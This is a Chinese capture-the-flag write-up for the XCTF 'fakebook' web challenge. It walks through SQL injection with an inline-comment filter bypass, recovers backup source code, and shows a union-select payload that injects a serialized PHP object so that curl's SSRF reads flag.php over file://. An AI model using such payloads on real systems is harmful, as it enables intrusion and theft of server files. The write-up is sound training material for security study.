xctf-web fakebook

点join注册账号

进入view.php发现参数no存在sql注入,但是过滤了select关键字,用内联注释绕过

在users表的data字段发现了用序列化存储的用户信息

然后就卡在这里了。。。。看了wp才发现有robots文件。查看后找到了存了源码的user.php.bak文件。

源码如下:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}

curl_exec函数存在ssrf。通过注入反序列化利用ssrf读取任意文件。

用php生成序列化:O:8:"UserInfo":3:{s:4:"name";s:5:"lbwnb";s:3:"age";i:1;s:4:"blog";s:29:"file:///usr/www/html/flag.php";}

构造payload:-1 union /*!select*/ 5,6,7,'O:8:"UserInfo":3:{s:4:"name";s:5:"lbwnb";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

把iframe里的base64解码就可看到flag.php。

看了别人的wp才知道flag在flag.php文件,但题目中并没有提示有该文件。。。。我裂开了

原文地址:https://www.cnblogs.com/remon535/p/12662824.html